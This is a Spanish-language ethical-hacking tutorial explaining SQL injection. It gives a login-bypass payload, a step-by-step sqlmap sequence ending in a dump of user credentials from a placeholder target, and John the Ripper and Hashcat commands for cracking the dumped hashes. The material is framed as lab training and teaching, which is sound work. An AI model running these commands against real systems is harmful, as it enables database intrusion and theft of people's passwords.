ciberseguridad
sql-injection
hashcat
hacking-etico
john-the-ripper
sqlmap
A veces, lo que derrumba muros no es la fuerza. Es la precisión. Un carácter, una comilla mal cerrada, una línea de código que nadie revisó. En la ciberseguridad, los errores más pequeños abren las puertas más grandes. Y una de las puertas más explotadas de la historia lleva un nombre: SQL Injection.
Primero lo básico:
SQL es un lenguaje diseñado para comunicarse con bases de datos. Cada vez que una aplicación guarda un nombre de usuario, una contraseña, un correo o una transacción, probablemente lo hace usando SQL. Y cuando el usuario inicia sesión o busca información, la aplicación construye dinámicamente consultas SQL para acceder a esos datos. El problema es cuando esa consulta no está bien controlada.
Imagina un formulario de login que inserta directamente lo que el usuario escribe en una consulta SQL, sin validarlo ni filtrarlo. Eso se convierte en una puerta abierta. Porque puedes escribir no solo tu nombre… sino también instrucciones maliciosas para alterar la lógica del sistema. Esa técnica se llama inyección SQL y permite, entre otras cosas:
Ejemplo clásico de inyección:
1SELECT * FROM users WHERE username = '$user' AND password = '$pass';
Si escribes lo siguiente como nombre de usuario:
1' OR '1'='1
Y dejas la contraseña vacía, la consulta se transforma en:
1SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
Y como '1'='1' siempre es verdadero… se accede igual, sin credenciales, sin permisos. Aquí entra SQLMap.
Es una herramienta automática que detecta y explota inyecciones SQL en aplicaciones web. No necesitas escribir payloads manuales ni ir probando combinaciones a ciegas. SQLMap hace ese trabajo por ti.
Lo que puede hacer SQLMap:
Cuando identifiques que una aplicación web construye dinámicamente las consultas y no valida los datos del usuario. Puedes probar con caracteres como '
o con payloads comunes. Si ves errores SQL, comportamientos extraños o bypasses, probablemente SQLMap podrá ayudarte a explotar esa brecha.
1sqlmap -u "http://target.com/page.php?id=1" --batch
1sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
1sqlmap -u "http://target.com/page.php?id=1" -D nombre_basededatos --tables --batch
1sqlmap -u "http://target.com/page.php?id=1" -D nombre_basededatos -T usuarios --columns --batch
1sqlmap -u "http://target.com/page.php?id=1" -D nombre_basededatos -T usuarios -C username,password --dump --batch
Recuerda: muchas contraseñas se guardan cifradas (por ejemplo en MD5, un algoritmo de hashing). Si SQLMap te devuelve hashes, no son contraseñas en texto plano, pero puedes crackearlos con herramientas como Hashcat o John the Ripper.
Una advertencia necesaria:
SQLMap es una herramienta potente. Brutal incluso. Pero no es para usarla sin cuidado ni conciencia. No se trata de presionar botones Se trata de entender lo que estás haciendo, lo que representa y las consecuencias que puede tener.
Usala en tus máquinas de laboratorio ya que es parte de tu entrenamiento. Porque todo conocimiento, como toda arma, debe estar sostenido por ética.
Romper una contraseña no es solo un acto técnico. Es entender cómo pensamos los humanos. Porque detrás de cada hash, de cada capa de seguridad, hay alguien que eligió una palabra que creyó secreta. Y el cracking es el arte de demostrar que nada lo es del todo.
Password cracking es el proceso de recuperar una contraseña en texto plano a partir de su versión cifrada (hash). Es una de las habilidades fundamentales en el hacking ético porque permite comprobar cuán fuertes (o débiles) son las contraseñas que las personas usan.
Las contraseñas no se almacenan tal cual. Eso sería un suicidio de seguridad. Se almacenan como hashes, que son representaciones cifradas mediante funciones como MD5, SHA1, bcrypt, entre otros.
Pero aquí está el detalle:
Estos hashes no son encriptaciones reversibles. No se pueden “desencriptar”. Lo que hacemos es comparar, probar miles (o millones) de posibles contraseñas, aplicándoles la misma función hash, hasta encontrar una que produzca el mismo resultado.
Porque las contraseñas humanas son, en general, predecibles. Porque usamos fechas, nombres, palabras comunes, patrones de teclado y porque los hashes, aunque matemáticamente sólidos, no protegen contra malas elecciones de contraseña.
Con suficiente potencia, buenos diccionarios y las herramientas correctas, el cracking se convierte en una posibilidad muy real.
Existen dos formas principales:
rockyou.txt
) y se prueba cada una contra el hash.Y para hacerlo tenemos dos grandes aliados: John the Ripper y Hashcat.
Es una herramienta clásica, simple pero poderosa. Ideal para empezar.
Ejemplo de uso con diccionario:
1john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Ver los resultados (cuando encuentra contraseñas):
1john --show hash.txt
John detecta automáticamente el tipo de hash en la mayoría de los casos. Pero si no lo hace, puedes indicarlo con --format=md5 o el que corresponda.
Hashcat es más rápido, versátil y optimizado para GPU. Ideal para ataques masivos.Primero, debes saber qué tipo de hash estás atacando. Puedes usar hashid
o hash-identifier
para detectarlo.
Ejemplo de uso básico con diccionario:
1hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
m 0
: MD5 (cada tipo de hash tiene un número)a 0
: ataque con diccionariohash.txt
: archivo que contiene el hashrockyou.txt
: diccionario de contraseñasVer resultados:
1hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show
Puedes pausar y reanudar Hashcat sin perder progreso, lo que lo hace ideal para sesiones largas.
Los encuentras en bases de datos comprometidas, archivos de configuración mal protegidos, imágenes manipuladas, backups olvidados, o incluso en memoria. Y muchas veces están en formatos como:
121232f297a57a5a743894a0e4a801fc3
(que es, por cierto, el hash MD5 de “admin”).
Crackear es también comprender que cada hash representa un secreto mal guardado y que proteger bien una contraseña no empieza con un símbolo extraño, sino con una decisión responsable. Sigue practicando. Sigue rompiendo cosas, para luego construirlas mejor.